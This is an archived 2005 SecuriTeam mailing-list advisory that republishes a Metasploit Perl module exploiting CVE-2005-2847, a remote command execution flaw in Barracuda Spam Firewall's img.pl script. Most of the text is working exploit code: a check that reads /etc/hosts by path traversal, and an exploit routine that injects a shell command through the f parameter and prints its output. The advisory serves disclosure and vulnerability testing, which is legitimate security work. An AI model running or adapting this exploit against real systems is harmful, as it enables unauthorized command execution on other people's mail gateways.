[EXPL] Barracuda Spam Firewall img.pl Command Execution (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/29/05

  • Next message: SecuriTeam: "[NT] FL Studio Heap Overflow" 
    To: list@securiteam.com
Date: 29 Sep 2005 11:09:34 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Barracuda Spam Firewall img.pl Command Execution (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    The <http://www.barracudanetworks.com/> Barracuda Spam Firewall is "an
    integrated hardware and software solution for complete protection of your
    e-mail server. It provides a powerful, easy to use, and affordable
    solution to eliminate SPAM and viruses from your organization".

    A remote code execution vulnerability exist in Barracuda Spam Firewall
    appliance's "/cgi-bin/img.pl" script, the following exploit code can be
    used to test your system for the mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * Barracuda Spam Firewall version 3.1.18 and prior

    Exploit:
    ##
    # This file is part of the Metasploit Framework and may be redistributed
    # according to the licenses defined in the Authors field below. In the
    # case of an unknown or missing license, this file defaults to the same
    # license as the core Framework (dual GPLv2 and Artistic). The latest
    # version of the Framework can always be obtained from metasploit.com.
    ##

    package Msf::Exploit::barracuda_img_exec;
    use base "Msf::Exploit";
    use strict;
    use Pex::Text;
    use bytes;

    my $advanced = { };

    my $info = {
            'Name' => 'Barracuda IMG.PL Remote Command Execution',
            'Version' => '$Revision: 1.0 $',
            'Authors' => [ 'Nicolas Gregoire <ngregoire@exaprobe.com>' ],
            'Arch' => [ 'x86' ],
            'OS' => [ 'linux' ],
            'Priv' => 0,
            'UserOpts' =>
              {
                    'RHOST' => [1, 'ADDR', 'The target address'],
                    'RPORT' => [1, 'PORT', 'The target port', 8000],
                    'VHOST' => [0, 'DATA', 'The virtual host name of the
    server'],
                    'IMG' => [1, 'DATA', 'Full path of img.pl script',
    '/cgi-bin/img.pl'],
                    'SSL' => [0, 'BOOL', 'Use SSL'],
              },

            'Description' => Pex::Text::Freeform(qq{
                    This module exploits an arbitrary command execution
    vulnerability in the
                    Barracuda Spam Firewall appliance. Versions prior to
    3.1.18 are vulnerable.
    }),

            'Refs' =>
              [
                    ['URL',
    'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
                    ['CVE', '2005-2847'],
                    ['OSVDB', '19279'],
                    ['BID', '14712'],
                    ['NSS', '19556'],
              ],

            'Payload' =>
              {
                    'Space' => 512,
                    'Keys' => ['cmd'],
              },

            'Keys' => ['barracuda'],
      };

    sub new {
            my $class = shift;
            my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>
    $advanced}, @_);
            return($self);
    }

    sub Check {
            my $self = shift;
            my $target_host = $self->GetVar('RHOST');
            my $vhost = $self->VHost;
            my $target_port = $self->GetVar('RPORT');
            my $img = $self->GetVar('IMG');

            my $request =
              "GET $img?f=%2e%2e/etc/hosts HTTP/1.1\r\n".
              "Accept: */*\r\n".
              "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
    5.1)\r\n".
              "Host: $vhost:$target_port\r\n".
              "Connection: Close\r\n".
              "\r\n";

            my $s = Msf::Socket::Tcp->new(
                    'PeerAddr' => $target_host,
                    'PeerPort' => $target_port,
                    'SSL' => $self->GetVar('SSL'),
              );

            if ($s->IsError){
                    $self->PrintLine('[*] Error creating socket: ' .
    $s->GetError);
                    return $self->CheckCode('Connect');
            }

            $self->PrintLine("[*] Establishing a connection to the
    target...");

            $s->Send($request);
            my $results = $s->Recv(-1, 20);
            $s->Close();
            
            if (($results =~ /HTTP\/1\..\s+200/) && ($results
    =~/127\.0\.0\.1/)) {

                    $self->PrintLine("[*] Vulnerable server detected!");
                    return $self->CheckCode('Confirmed');
                    
            } elsif ($results =~ /HTTP\/1\..\s+([345]\d+)/) {

                    $self->PrintLine("[*] The Barraccuda application was not
    found.");
                    return $self->CheckCode('Safe');
            }

            $self->PrintLine("[*] Generic error...");
            return $self->CheckCode('Generic');
    }

    sub Exploit {
            my $self = shift;
            my $target_host = $self->GetVar('RHOST');
            my $vhost = $self->VHost;
            my $target_port = $self->GetVar('RPORT');
            my $img = $self->GetVar('IMG');
            my $encodedPayload = $self->GetVar('EncodedPayload');
            my $cmd = $encodedPayload->RawPayload;

            $img = $img."?f=".$self->URLEncode(qq#../bin/sh -c "echo 'YYY';#.
    $cmd .qq#;echo 'YYY'"|#);

            my $request =
              "GET $img HTTP/1.1\r\n".
              "Accept: */*\r\n".
              "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
    5.1)\r\n".
              "Host: $vhost:$target_port\r\n".
              "Connection: Close\r\n".
              "\r\n";

            my $s = Msf::Socket::Tcp->new(
                    'PeerAddr' => $target_host,
                    'PeerPort' => $target_port,
                    'SSL' => $self->GetVar('SSL'),
              );

            if ($s->IsError){
                    $self->PrintLine('[*] Error creating socket: ' .
    $s->GetError);
                    return;
            }

            $self->PrintLine("[*] Establishing a connection to the
    target...");
            $s->Send($request);
            my $results = $s->Recv(-1, 20);
            
            if ($results =~ /HTTP\/1\.. 200 OK/im) {

                    (undef, $results) = split(/YYY/, $results);
                    
                    $self->PrintLine(' ');
                    $self->PrintLine("$results");
                    $self->PrintLine(' ');

                    $self->PrintLine("[*] End of data.");

            } else {
                    $self->PrintLine(' ');
                    $self->PrintLine("Doh ! Are you sure this server is
    vulnerable ?");
            }

            $s->Close();
            return;
    }

    sub URLEncode {
            my $self = shift;
            my $data = shift;
            my $res;

            foreach my $c (unpack('C*', $data)) {
                    if (
                            ($c >= 0x30 && $c <= 0x39) ||
                            ($c >= 0x41 && $c <= 0x5A) ||
                            ($c >= 0x61 && $c <= 0x7A)
                      ) {
                            $res .= chr($c);
                    } else {
                            $res .= sprintf("%%%.2x", $c);
                    }
            }
            return $res;
    }

    sub VHost {
            my $self = shift;
            my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
            return $name;
    }

    1;

    ADDITIONAL INFORMATION

    The original article can be found at:
    <http://www.milw0rm.com/id.php?id=1236>
    http://www.milw0rm.com/id.php?id=1236
    The original advisory can be found at:
    <http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1>
    http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NT] FL Studio Heap Overflow"

    Relevant Pages